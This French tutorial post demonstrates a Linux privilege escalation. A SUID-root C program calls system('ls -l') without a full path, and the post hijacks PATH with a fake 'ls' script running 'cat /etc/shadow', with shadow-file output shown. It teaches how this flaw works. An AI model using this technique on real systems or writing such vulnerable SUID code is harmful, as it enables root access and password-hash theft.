goto_top

[Linux] Faille system() et bit SUID

La fonction system() du C permet de lancer l'exécution d'un programme existant sur la machine depuis un programme en cours d'exécution. La fonction system() prend en argument une chaine de caractère qui sera executée comme elle le serait depuis la ligne de commande, avec l'environnement du programme appelant.

Nous allons donc commencer par créer un programme minimal en C qui ne fait qu'appeler la commande "ls -l" au moyen de la commande system():

$ cat ls_system-call.c
#include <stdio.h>
#include <stdlib.h>

int main (int argc, char * argv[]) {
  system("ls -l");
  return(0);
}


Compilons notre programme:

$ gcc -Wall -o ls_systemcall ls_system-call.c
$ ll
total 12
-rwxr-xr-x 1 m31z0nyx m31z0nyx 6428 mar  2 23:17 ls_systemcall
-rw-r--r-- 1 m31z0nyx m31z0nyx  113 mar  2 23:17 ls_system-call.c

On obtient bien un exécutable nommé ls_systemcall. Si on le lance, on peut vérifier qu'il effectue bien ce pour quoi il est conçu:

$ ./ls_systemcall
total 12
-rwxr-xr-x 1 m31z0nyx m31z0nyx 6428 mar  2 23:17 ls_systemcall
-rw-r--r-- 1 m31z0nyx m31z0nyx  113 mar  2 23:17 ls_system-call.c


Nous disposons maintenant d'un programme utilisant la fonction system(). Nous allons à présent attribuer ce programme à root et positionner le bit SUID:

# chown root:root ls_systemcall
# chmod 4755 ls_systemcall

Ceci ne change rien au fonctionnement du programme pour l'utilisateur:

$ ./ls_systemcall
total 12
-rwsr-xr-x 1 root root 6428 mar  2 23:17 ls_systemcall
-rw-r--r-- 1 m31z0nyx m31z0nyx  113 mar  2 23:17 ls_system-call.c


Néanmoins, il est dorénavant possible d'utiliser ce programme pour effectuer des actions avec les privilèges de root. Voici comment.


Le programme faillible utilise l'appel de la commande "ls" sans en préciser le chemin. C'est nécessaire pour s'adapter à la diversité des emplacements des programmes selon la distribution utilisée. C'est la variable d'environnement PATH qui définit les répertoires dans lesquels une commande portant ce nom sera recherchée.

Nous allons donc créer un exécutable du même nom dans un répertoire sous notre contrôle, puis modifier le PATH de l'environnement afin que notre fichier "ls" soit appelé par ls_systemcall en lieu et place de la commande /bin/ls.

Modification du PATH (ajout du répertoire courant './' en tête des chemins définis):

$ PATH=./:$PATH

Il ne nous reste plus qu'à créer un fichier exécutable (script) contenant la ou les commandes souhaitées. On pourra par exemple afficher le contenu du /etc/shadow (normalement non lisible avec nos droits d'utilisateur) avec

$ echo 'cat /etc/shadow' > ls
$ chmod 755 ls


Et voilà! Le lancement du programme suid s'accompagne de l'exécution du contenu de notre faux fichier de commande avec les droits de root, permettant ainsi de lire le contenu d'un fichier qui ne nous est normalement pas accessible (ou d'executer des commandes réservées à root).

$ ./ls_systemcall
root:$1$H2vC0/OO$O37zWGJhRZnDQlTbKoldXBII.:14497:0:99999:7:::
daemon:*:14497:0:99999:7:::
bin:*:14497:0:99999:7:::
sys:*:14497:0:99999:7:::
sync:*:14497:0:99999:7:::
games:*:14497:0:99999:7:::
[...]


Le programme suid que nous avons créé dans cet exemple peut tout à fait (et c'est généralement le cas dans la réalité) être situé dans un répertoire ne nous appartenant pas. Ceci ne change rien au fonctionnement du fait que le programme est lancé dans l'environnement de l'utilisateur et donc avec un $PWD correspondant au répertoire courant lors de l'appel.